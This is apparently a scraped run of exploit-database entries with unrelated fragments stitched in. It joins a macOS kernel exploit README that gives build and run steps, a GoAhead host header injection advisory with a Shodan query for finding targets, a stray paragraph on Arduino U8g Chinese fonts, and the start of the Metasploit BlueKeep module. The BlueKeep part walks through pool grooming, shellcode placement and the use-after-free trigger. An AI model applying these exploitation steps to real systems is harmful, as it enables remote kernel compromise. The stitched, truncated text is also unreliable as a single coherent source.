# macOS-Kernel-Exploit ## DISCLAIMER You need to know the KASLR slide to use the exploit. Also SMAP needs to be disabled which means that it's not exploitable on Macs after 2015. These limitations make the exploit pretty much unusable for in-the-wild exploitation but still helpful for security researchers in a controlled lab environment. This exploit is intended for security research purposes only. ## General macOS Kernel Exploit for CVE-????-???? (currently a 0day. I'll add the CVE# once it is published ;) ). Thanks to @LinusHenze for this cool bug and his support ;P. ## Writeup Probably coming soon. If you want to try and exploit it yourself, here are a few things to get you started: - VM: Download the macOS installer from the appstore and drag the `.app` file into VMWare's `NEW VM` window - Kernel Debugging setup: http://ddeville.me/2015/08/using-the-vmware-fusion-gdb-stub-for-kernel-debugging-with-lldb - Have a look at the _kernel_trap function ## Build I recommend setting the bootargs to: `debug=0x44 kcsuffix=development -v ` :warning: **Note**: SMAP needs to be disabled on macs after 2015 (`-pmap_smap_disable`) You will need XCODE <= 9.4.1 to build the exploit. (It needs to be 32bit) Downloading Xcode 9.4.1 Commandline Tools should be enough ;) Download: https://developer.apple.com/download/more/ ``` make ``` ## Execution ``` ./exploit <KASLR slide> ``` Tested on macOS Mojave: `Darwin Kernel-Mac.local 18.7.0 Darwin Kernel Version 18.7.0: Thu Jun 20 18:42:21 PDT 2019; root:xnu-4903.270.47~4/DEVELOPMENT_X86_64 x86_64` **Demo**: [![asciicast](https://asciinema.org/a/UBmByRiRR0y5USBwuHKC5X7GU.png)](https://asciinema.org/a/UBmByRiRR0y5USBwuHKC5X7GU) - - - EDB Note: Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47400.zip

# Exploit Title: GoAhead Web server HTTP Header Injection. # Shodan Query: Server: Goahead # Discovered Date: 05/07/2019 # Exploit Author: Ramikan # Vendor Homepage: https://www.embedthis.com/goahead/ # Affected Version: 2.5.0 may be others. # Tested On Version: 2.5.0 in Cisco Switches and Net Gear routers. # Vendor Fix: N/A # CVE : N/A # CVSS v3: N/A # Category: Hardware, Web Apps # Reference : www.fact-in-hack.blogspot.com Vulnerability: Host Header Injection A Host Header Injection vulnerability may allow an attacker to spoof a particular Host header, allowing the attacker to render arbitrary links that point to a malicious website with poisoned Host header webpages. An issue was discovered in GoAhead web server version 2.5.0 (may be affected on other versions too). The values of the 'Host' headers are implicitly set as trusted while this should be forbidden, leading to potential host header injection attack and also the affected hosts can be used for domain fronting. This means affected hosts can be used by attackers to hide behind during various other attack PS: Affected on most of embedded webservers on hardware such as switches, routers, IOT and IP cameras.

In this article, I used the U8g library. You cannot directly output Chinese characters. And U8g2 can. I will update the code later. Therefore, we need a font extraction tool. After the Chinese characters are modeled, write the code in the form of a dot matrix.

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## # Exploitation and Caveats from zerosum0x0: # # 1. Register with channel MS_T120 (and others such as RDPDR/RDPSND) nominally. # 2. Perform a full RDP handshake, I like to wait for RDPDR handshake too (code in the .py) # 3. Free MS_T120 with the DisconnectProviderIndication message to MS_T120. # 4. RDP has chunked messages, so we use this to groom. # a. Chunked messaging ONLY works properly when sent to RDPSND/MS_T120. # b. However, on 7+, MS_T120 will not work and you have to use RDPSND. # i. RDPSND only works when # HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\Winstations\RDP-Tcp\fDisableCam = 0 # ii. This registry key is not a default setting for server 2008 R2. # We should use alternate groom channels or at least detect the # channel in advance. # 5. Use chunked grooming to fit new data in the freed channel, account for # the allocation header size (like 0x38 I think?). At offset 0x100? is where # the "call [rax]" gadget will get its pointer from. # a. The NonPagedPool (NPP) starts at a fixed address on XP-7 # i. Hot-swap memory is another problem because, with certain VMWare and # Hyper-V setups, the OS allocates a buncha PTE stuff before the NPP # start. This can be anywhere from 100 mb to gigabytes of offset # before the NPP start. # b. Set offset 0x100 to NPPStart+SizeOfGroomInMB # c. Groom chunk the shellcode, at *(NPPStart+SizeOfGroomInMB) you need # [NPPStart+SizeOfGroomInMB+8...payload]... because "call [rax]" is an # indirect call # d. We are limited to 0x400 payloads by channel chunk max size. My # current shellcode is a twin shellcode with eggfinders. I spam the # kernel payload and user payload, and if user payload is called first it # will egghunt for the kernel payload. # 6. After channel hole is filled and the NPP is spammed up with shellcode, # trigger the free by closing the socket. # # TODO: # * Detect OS specifics / obtain memory leak to determine NPP start address. # * Write the XP/2003 portions grooming MS_T120. # * Detect if RDPSND grooming is working or not? # * Expand channels besides RDPSND/MS_T120 for grooming. # See https://unit42.paloaltonetworks.com/exploitation-of-windows-cve-2019-0708-bluekeep-three-ways-to-write-data-into-the-kernel-with-rdp-pdu/ # # https://github.com/0xeb-bp/bluekeep .. this repo has code for grooming # MS_T120 on XP... should be same process as the RDPSND class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking USERMODE_EGG = 0xb00dac0fefe31337 KERNELMODE_EGG = 0xb00dac0fefe42069 CHUNK_SIZE = 0x400 HEADER_SIZE = 0x48 include Msf::Exploit::Remote::RDP include Msf::Exploit::Remote::CheckScanner def initialize(info = {}) super(update_info(info, 'Name' => 'CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free', 'Description' => %q( The RDP termdd.sys driver improperly handles binds to internal-only channel MS_T120, allowing a malformed Disconnect Provider Indication message to cause use-after-free.
